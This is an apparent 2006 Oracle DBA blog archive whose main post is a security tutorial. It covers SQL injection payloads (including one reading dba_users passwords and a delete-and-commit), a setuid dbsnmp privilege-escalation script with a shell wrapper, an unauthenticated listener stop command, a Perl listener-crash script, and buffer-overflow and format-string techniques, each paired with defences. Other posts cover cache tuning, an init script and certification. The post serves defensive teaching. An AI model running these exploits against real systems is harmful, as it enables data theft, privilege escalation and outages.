21 March 2006

SQL Injections

SQL injections are ways of attacking applications’ underlying SQL statements. Instead of expected value, intruder puts the string that expands or changes the SQL statement. Only dynamic SQL statements are susceptible to SQL injections.

SQL statement can be executed in Oracle from PL/SQL stored procedures, using dbms_sql, execute immediate or via application interface.

SQL Manipulation

Consider this SELECT statement:
SELECT * from data_table where account=v1

The expected value for variable v1 can be something like ‘123’. If, instead, the following value is supplied for v1 variable:

v1=123’ or ‘a’=’a

SQL statement changes to:

· SELECT * from data_table where account=’123’ or ‘a’=’a’;

Example of SQL injection within EXECUTE IMMEDIATE


CREATE PROCEDURE Empl(name IN VARCHAR2) as
sqls VARCHAR2(200);

cc integer;
BEGIN
sqls := 'SELECT count(*) FROM emp
WHERE name = ''' || name || '''';
EXECUTE IMMEDIATE sqls INTO cc;
END;

SQL can be injected into Empl procedure with:

begin
Empl('Smith'' or ''1''=''1');
end;

This will turn the SELECT statement from Empl procedure:
SELECT count(*) FROM emp WHERE name = 'Smith';
to:
SELECT count(*) FROM emp WHERE name = 'Smith' or ‘1’=’1’;

To avoid this problem, use bind variables instead of string concatenation and strip the single quotes from the input string.

Other ways to inject SQL

UNION and sub-select can be also used.

Examples:

v1=123’ union select username||password
from dba_users where ‘a’=‘a

v1=123’ or exists (select ‘x’ from dual ) and ‘a’=‘a;

Left outer join bug

An intruder can use some of the known bugs for SQL injection.

Products affected: Oracle up to 9.0.1.3.

Assumption is that connected user has only CONNECT role.

SQL> connect scott/tiger

Connected.

SQL> select a.username, a.password

from sys.dba_users a left outer join sys.dba_users b on

b.username = a.username ;


USERNAME PASSWORD

------------ -----------------------------
SYS D4C5016086B2DC6A

SYSTEM D4DF7931AB130E37

RMAN E7B5D92911C831E1

CSUSER 1A00922D8C0F146

The vendor has issued a bulletin and made patches available:

http://otn.oracle.com/deploy/security/pdf/sql_joins_alert.pdf

SQL in Java

JDBC is a connectivity used by JSP, EJB and Java servlets. SQL statements are dynamic and they are executed using CallableStatement or PreparedStatement subinterfaces.


Example of the vulnerable code:


String dept = request.getParameter(“Dept");
String sql = "begin ? := Empl('" + dept + "'); end;";
CallableStatement cs = conn.prepareCall(sql);

With the injection, the code becomes:

begin ? := Empl(''); delete emp; commit; Empl(Smith''); end;

The correct way of coding is using bind variables:

CallableStatement cs= conn.prepareCall ("begin ? := Empl(?); end;");

Defense against SQL Injections


Dbsnmp setuid exploit

Setuid

Setting the setuid bit in an executable’s mode bits allows a non-privileged user to temporarily gain the privileges of another user. Many of Oracle’s executables have setuid set: oracle binary, dbsnmp, lsnrctl,...
The main workaround for setuid problem is removing the execute privilege from the “others� group.

If you run root.sh after the installation, dbsnmp will not be executable by group “other�. If you don't run root.sh or add the execute privilege to the "other" group, you are open to this exploit.

Example:
If dbsnmp executable (owned by root) has setuid and --x for the other (i.e. -rwsr-s--x ) , you can use this exploit on Oracle 8i or 9i to change user’s read group ID to oinstall or dba (whatever is the group of dbsnmp file):

$id
uid-1008(smith) gid=14(staff)


vi /tmp/cakehole
#!/bin/sh –p
cp /bin/sh /tmp/.sh ; chmod 4755 /tmp/.sh
export ORACLE_HOME=/tmp
mkdir -p /tmp/network/agent/config
vi /tmp/network/agent/config/nmiconf.tcl
#!/.../oratclsh
set n [ exec /tmp/cakehole ]
$ORACLE_HOME/bin/dbsnmp start
-rwsr-sr-x 1 smith dba 95316 Apr 28 11:31 /tmp/.sh OR
-rwsr-sr-x 1 smith oinstall 95316 Apr 28 11:31 /tmp/.sh

If you want to exploit /tmp/.sh, create a C program, for example called aaa.c:


main () {
setreuid (geteuid(),-1);
setregid (getegid(),-1);
execlp (“/bin/sh�,�/bin/sh�,0); /* or use system() */
}

Compile the aaa.c into aaa. Run the shell first and then aaa. You will get shell with group ID dba or oinstall:

$ id
uid=1008(smith) gid=11(dba)

Solution: turn OFF the suid bit on the dbsnmp. If you run root.sh after the installation, it will turn that bit off for you.

Listener Intrusions

The listener is a process that listens for incoming connections. When a request arrives, it is handed over to a database server process. Transparent Network Substrate (TNS) is the most common protocol used by Oracle clients to connect to the database via the listener.

Non-password protected listener

Listener is normally protected by firewall rules from remote intrusions, excluding connections coming from the Web server itself. It there is not firewall to protect listener, it is “a must� that the listener is protected by password. The commands start and status do not need a password until the version 9.2.0.1. Start can be used only on the local machine, while status can be used from anywhere in the network.

If you do not password protect the listener, the attacker can stop your listener and overwrite any file owned by oracle account.

Stopping the listener

If you don’t password protect your listener, anybody with access to the listening port can stop the listener. One of the ways to do it is:

Sqlplus whatever/whatever@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)
(HOST=192.168.1.1)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=PRODDB)(COMMAND=stop)))
As you can notice, you don’t actually need to provide real username and password.

Trc_file listener attack

If your listener is not password protected, anyone with access to the listening port can overwrite any file owned by Oracle, including Oracle binaries and database files.

Example for how you can overwrite Oracle binary:

Setting ADMIN_RESTRICTIONS_listener = ON in listener.ora will disallow dynamic use of set command.

Status

The listener responds to some of the network requests, like asking for the status. That gives away lots of information. If asked for STATUS, the listener returns information like this:

(DESCRIPTION=(TMP=)(VSNNUM=153093120)(ERR=0)(ALIAS=listener_rman)(SECURITY=OFF)
(VERSION=TNSLSNR for Solaris: Version 9.2.0.4.0- Production) (START_DATE=24APR200414:58:48)(SIDNUM=1)
(LOGFILE=/u01/oracle/product/9.2/network/log/listener.log)
(PRMFILE=/u01/oracle/product/9.2/network/admin/listener.ora)
(TRACING=off)(UPTIME=182)(SNMP=OFF)(PID=23605)).K........
(ENDPOINT=(HANDLER=(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)
(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=D8C752B7CA00-5C35-E034-000080000001)
(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)
(HOST=kermit)(PORT=1521))))),(SERVICE=(SERVICE_NAME=rman)
(INSTANCE=(INSTANCE_NAME=rman)(NUM=1)
(INSTANCE_STATUS=UNKNOWN)(NUMREL=1))),,.........@

NUM number 153093120 turned to HEX is 920400, which is a version number.

Listener Service_Curload attack

If you issue the command (CONNECT_DATA=(COMMAND=SERVICE_CURLOAD)) to the listener and connect, listener is fine as long as you are connected. When the user disconnects, the service will crash or stop accepting new connections.

Not all versions are vulnerable, the following versions are known to be vulnerable:
Oracle 8.1 up to 9.2.0.2, with use of MTS

Patch number 2540219 is issued to repair the problem.

With SERVICE_CURLOAD dispatchers report or ask for the current load from the listener.

9.0.1.1 Listener crash

Vulnerable systems: Oracle version 9.0.1.1.

The vulnerability allows remote attackers to cause the server's TSNLISTEN service to crash disallowing any legitimate requests from being handled by the remote server.

In order to crash Oracle9i all you need to do is send ONE TCP packet (#$00 = 1 byte) to 1521 port. To restore server functionality you must restart the TSNLISTEN service.

Sending 1 kilobyte of data in the connection string caused crash:

#!/usr/local/bin/perl -w
use IO::Socket;
$host="hostname";
socket(HANDLE, PF_INET, SOCK_STREAM, 6);
connect(HANDLE, sockaddr_in(1521, scalar gethostbyname($host)));
HANDLE->autoflush(1);
sleep(2);
print HANDLE "1";
close(HANDLE);

Defence Against Listener Intrusions


Oracle Portal: One solution for the error "SSO-80104:Corrupted or invalid config file."

If you are upgrading Portal from the lower versions to 10g, using ssomig utility and getting the mentioned error, the problem could be with export/import compatibility.

Example of how I solved it:

My set-up:

Steps:


Oracle software exploits: buffer overflow and string format attacks

Buffer overflow attack

A buffer overflow happens when a program attempts to write more data into a buffer than was originally expected. Stack data can be overwritten, which can lead to the execution of arbitrary code, or the altering of internal program variables. Specific C functions like strcpy (), strcat (), and sprintf () are prone to overflows. If a buffer overflows the stack with garbage data, this might cause a segmentation failure.

Buffer overflow introduction

The following example will show how to use buffer overflow exploit to:

  1. Overwrite root_flag variable
  2. Cause segmentation fault
  3. Change return address
  4. Inject your own code

I executed the program exploit.c was on Linux x86:

main (int argc, char *argv[])
{
int root_flag;

char buf[10];

root_flag = (getuid() == 0 ? 1 : 0);
strcpy (buf, argv[1]); /* Buffer overflow vulnerability */
if (root_flag)

printf ("You are the root user\n");
else
printf ("Permission denied\n");

}

This program accepts one parameter. That parameter is put into the stack with command strcpy. The program has one variable root_flag. If that variable is 0 (zero), then you get the message “You are the root user.� Otherwise, you get message “Permission denied�.

Normal result

Run the program with one short parameter:

./exploit 1234

Permission denied

Fill the buffer

Extend the first parameter and watch it grow on the stack:

./exploit 123412341234124312431241243

Permission denied


Change the root privilege

Add number 1 to the end of long

parameter to overwrite the root_flag variable:

./exploit 123412341234124312431241243`echo –e ‘\01’`

You are the root user


Cause a Segmentation fault

./exploit oracle12123412341234123412341234123412341234...

Segmentation fault


Change the return address with NOP sled

This is one of the ways to overwrite return address and inject your code.

./exploit `echo –e ‘\x90…\x90CODE\xa0\xa1\xff\xbf’` `

The program overwrites stack with NOP instructions, then injects the code and then overwrites the return address with 0xbfffa1a0.

This address points back into the variable part of the stack. Code might look like this “\x31\xc0\xb3\xb0\x46\xcd\x80� which executes specific assembly commands.



Note: normally, the NOP sled is thousands of bytes to allow for the fact that Linux randomises its stack location at runtime.

Buffer overflow probing

If you want to see whether binary code is susceptible to buffer overflow attack, you can try something like this

$ oracle `perl -e 'print “A"x10000'`

If you get core dump as result, you might be onto something:

Segmentation fault (core dumped)

You would then use some debugging tool to check the registers within core dump.

$ gdb oracle core
(gdb) info registers
ecx 0xbfffb5a6 -1073760856

edx 0x41414141 1094795585
ebx 0x41414141 1094795585
esp 0x41414141 0x41414141
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141 <-- AAAA

You can notice that the eip register contains AAAA. This means that the return eip value stored on the stack has been overwritten with data that we can control.

Oracle buffer overflow with loadsps

Oracle Security Alert #51

Products affected are: Oracle 8.0 up to 9.2.0.2, Intel only.

The loadsps utility loads a PSP (PL/SQL Server Page, Oracle’s answer to the Java Server page) file from the operating system into the database. The loaded PSP can then be accessed from a URL to display database content on a web page.

C:\oracle\bin> loadpsp -name -user XXX[1150 additional characters]/pwd@prod test

This buffer overflow does not result in the Oracle process crashing. However the buffer overflow can result in the saved return address being overwritten on the stack.

I tried it out on Win2000 and 8.1.7.0.0 database and it crashed the database with a segmentation fault.

Patch for this exploit is available from Oracle.

Oracle buffer overflow for database links

Oracle Security Alert #54

Products affected are Oracle 7.3 to 9.2.

create database link test1

connect to eee identified by eee

using '[XXX>1000 times] ‘;

Run select ‘x’ from dual@test1; to invoke it.

Workaround is to remove ‘CREATE DATABASE’ privilege from role CONNECT.

String format attack

The printf family of C functions (printf, sprintf, fprintf...) is vulnerable to string format attacks.

Vulnerable code might look like this:

printf(var1);

A safer syntax would be:

printf(“%s�,var1);

If instead of expected value for var1, someone puts “%x %x %x %x %x�, this turns into:

printf(�%x %x %x %x %x�)

bfffe1b3 51234a56 234535 2134fda bfffe1af

%x lists the content of a stack address in hexadecimal.

%n ,%hn, %hhn will interpret the stack address as a pointer and try to write into the target address the number of characters formatted so far with sizes of 32-bits, 16-bits and 8-bits respectively.

9iAS string format exploit for OraDAV

Products: 9iAS 9.0.2 for Windows

OraDav is an Apache based WebDav solution for interMedia, Oracle Portal & iAS 2.0. Oracle modified the Apache supplied mod_dav by adding the logging of bad gateway errors. Logging is done in the dav_util.c code. This code calls function dev_lookup_uri() and then ap_log_error. This ap_log_error function has the string format exploit.

By using the COPY method and giving a destination URI with specifically formatted schema name and port, you can produce error: “502 Bad Gateway�.

This exploit does not require a username or password. The exploit can be drilled through port 80. The vulnerability can allow us to overwrite the return address, the exception handler or the static Unhandled Exception Filter at address 0x77EE044C.

In the example shown at the Black Hat conference, the stack return address (SRA) was overwritten in a three stage overwrite, using %hn format specifiers.

The solution is to turn WebDav off, by setting “dav off� in

$OH/Apache/oradav/conf/moddav.conf. Note that OraDAV is turned ON by default.

Explicit exploit details are given in the Black Hat European 2003 conference archive, presented by David Litchfield from Next Generation Security Software Ltd.

Defence against Oracle software exploits

  • Removing executable mode for the “othersâ€� from setuid files.
    • find . –perm –6000 -ls
    • Chmod o-x for setuid programs
    • Be careful, as after this other Unix users can’t use the BEQ adapter to connect to the server. IPC can be used. That means users from the server will get ORA-12546 when trying to connect with sqlplus.
  • Monitor core dumping
  • Apply patch or workaround for all relevant security alerts
  • Remove unused Oracle services

15 March 2006

Which objects should go to KEEP or RECYCLE cache

KEEP and RECYCLE caches

  • KEEP cache is used for so called "hot objects": accessed very often, usually small in size and should be kept in memory at all times. Lookup tables are good candidates.
  • RECYLE cache is used for objects that should be removed from the cache as soon as soon as SQL statement finishes. Criteria might be:
    • Taking at least 5% of the cache, with tch<=1
    • Very large table that is accessed randomly
    • Any table which is accessed very rarely
X$BH
This view is a snapshot of buffer header, including objects' buffers, their position on the LRU list and number of touches.
  • LRU flag tell you where the buffer is.
    • 0 (zero) means on the cold end of the list (LRU)
    • 8 means the hot (MRU) end
    • 4 means removed from the hot end
    • 2 means intentionally placed on the cold end
      • full table scan or NOCACHE, for example
  • TCH in X$BH view tells us how many times was that data block touched by a SQL query. This is pretty usefull in determining which objects are hot and which should be recycled.
The following SQL statement below tells you how many buffers an object takes and what is the average touch for that object. Sort it by "Average touches" to find the HOT blocks and sort it by "Object buffers" to see which objects are candidates for the RECYCLE cache. For HOT blocks, also check objects with lru_flag=8.

COLUMN object_name FORMAT a40
COLUMN number_of_blocks FORMAT 999,999,999,999

SELECT o.object_name, COUNT(1) number_of_blocks_per_object
FROM DBA_OBJECTS o, V$BH bh
WHERE o.object_id = bh.objd
AND o.owner != 'SYS'
GROUP BY o.object_name
ORDER BY count(1);

OR

PROMPT Number of buffers per object and per average touch
SELECT d_o.object_name as object_name,
sum(o.buffers) as obj_buffers, avg_touches
FROM (SELECT obj object, count(1) buffers, avg(tch) avg_touches
FROM x$bh
WHERE lru_flag <= 8 GROUP BY obj having avg(tch) >= 0) o, dba_objects d_o
WHERE o.object = d_o.data_object_id
GROUP BY d_o.object_name, avg_touches;


Automatic starting of Oracle components on Unix

General instructions:
  • Create a file called "oracle" in /etc/init.d for (Sun, Linux) or /sbin/init.d (HP).
  • Create two soft links from rc.d directories (consult with your Unix admin for the priority numbers, 03 and 93 are used in this example):
    • K03oracle -> /etc/init.d/oracle #Shut down when going to level 0
    • S93oracle -> /etc/init.d/oracle # Startup when going to level 3

Additional instructions forHP:
  • Create your "oracle" file from /sbin/init.d/template file. Below is the example of what your "oracle" file might look like
  • Create a file /etc/rc.config.d/oracle with only one line:
    • ORACLE_CONTROL_VARIABLE=1
  • In the future, if you want to switch off automatic starting/shutting, just change ORACLE_CONTROL_VARIABLE to 0
#!/sbin/sh
PATH=/usr/sbin:/usr/bin:/sbin:/usr/local/bin
PATH=$ORACLE_HOME/bin:$PATH
export PATH ORACLE_HOME

rval=0

set_return() {
x=$?
if [ $x -ne 0 ]; then
echo "EXIT CODE: $x"
rval=1 # script Failed
fi
}

case $1 in
'start_msg')
# Emit a _short_ message relating to running this script with
# the "start" argument; this message appears as part of the checklist.
echo "Starting the Oracle components"
;;

'stop_msg')
# Emit a _short_ message relating to running this script with
# the "stop" argument; this message appears as part of the checklist.
echo "Stopping the Oracle components"
;;

'start')
# source the system configuration variables
if [ -f /etc/rc.config ] ; then
. /etc/rc.config
else
echo "ERROR: /etc/rc.config defaults file MISSING"
fi
# Check to see if this script is allowed to run...
if [ "$ORACLE_CONTROL_VARIABLE" != 1 ]; then
rval=2
else
su - oracle -c dbstart
set_return
if [ $rval -eq 1 ]; then
echo "Oracle startup failed"
exit $rval
fi
su - oracle -c "$ORA_HOME/bin/lsnrctl start listener_oemp"
set_return
if [ $rval -eq 1 ]; then
echo "Oracle startup failed"
exit $rval
fi
fi
;;

'stop')
# source the system configuration variables
if [ -f /etc/rc.config ] ; then
. /etc/rc.config
else
echo "ERROR: /etc/rc.config defaults file MISSING"
fi
# Check to see if this script is allowed to run...
if [ "$ORACLE_CONTROL_VARIABLE" != 1 ]; then
rval=2
else
su - oracle -c dbshut; #Only db, listener is protected with pwd
set_return
if [ $rval -eq 1 ]; then
echo "Oracle shutdown failed"
exit $rval
fi
fi
;;

*)
echo "usage: $0 {start|stop|start_msg|stop_msg}"
rval=1
;;
esac

exit $rval

13 March 2006

OCP: Oracle 10g upgrade, 1Z0-040 exam



I have been certified since 1998, when I got myself certified as an Oracle7 OCP DBA and every 2 years I pass an upgrade exam. I have passed the 1Z0-040 exam in 2005 and, now, I am an Oracle 10g Certified DBA . Nice!
The exam was not too hard, but it took me couple of weeks to prepare. I usually prepare by reading the Oracle documentation, trying out things at home and reading the articles from various Oracle magazines and sites.

Without revealing any real questions, I can say that the following areas comprised most of the exam:
  • Disk groups
  • Flash recovery area
  • New automatic features
  • Job scheduler
  • ASM and
  • plenty of questions about advisors.

Unbreakable Oracle

Presented at New Zealand Oracle User Group in May 2004

File #26 on NZOUG site

Oracle Wish List

I started filling in the wishes on this list in '98 and has been changing/expanding it over the years. Some of the "wishes" are now possible.
  • All Oracle parameters to be dynamic
    • This has been my wish since the late 90s and Oracle is slowly getting there.
  • Bind variable peeking for all bind variables per SQL statement
    • If the application is created with bind variables, this would peek for every bind variable for a specific SQL statement
  • Get running statisticsfor SQL statement's run without actually running it
    • Some non-Oracle tuning tools already provide this feature
  • ! Alert log errors logged into a table when the database is open
    • Using 9i and 10g external tables, alert and listener logs can appear in a table format.
  • Switching off redo logging for a database/tablespace/session/SQL
    • NOLOGGING option provides only a partial solution
  • Ability to ask for password before shutting down Oracle databases
    • Similar to Oracle listeners' passwords
  • A DBA should not always need to see the application data
    • ! This became possible with the Database Vault
  • Transfer ownership of the object to another user without dropping the object
  • Dynamic aliases in SQL*PLus
    • Example:
    • SQL> define sl="select * from"
    • SQL> sl test; will run "select * from test;"
  • Same-type triggers firing in a pre-defined order
  • More granular system roles
    • Example:
    • An user has ALTER DATABASE privilege; He/she can only manage datafiles, but not startup and recovery
  • More control over sorting segments in a temporary tablespace
    • Cleaning them/dropping them forcefully (for all those times when TEMP is 100% full and you can't do anything but bounce the instance)
  • Statistics of redo size per each statement
    • At the moment, only redo size per session exists, which is a problem if you want to find which SQL in that session is creating excessive redo entries
  • Easy way of tracing the database jobs before they run
    • This is possible with tracing all the current job processes + on-logon tracing trigger, but the amount of trace files is sometimes too hard to process
    • I would like to see a command like this:
      • dbms_support.trace_job(&job_id, bind=>TRUE, waits=>TRUE);

This page is powered by Blogger. Isn't yours?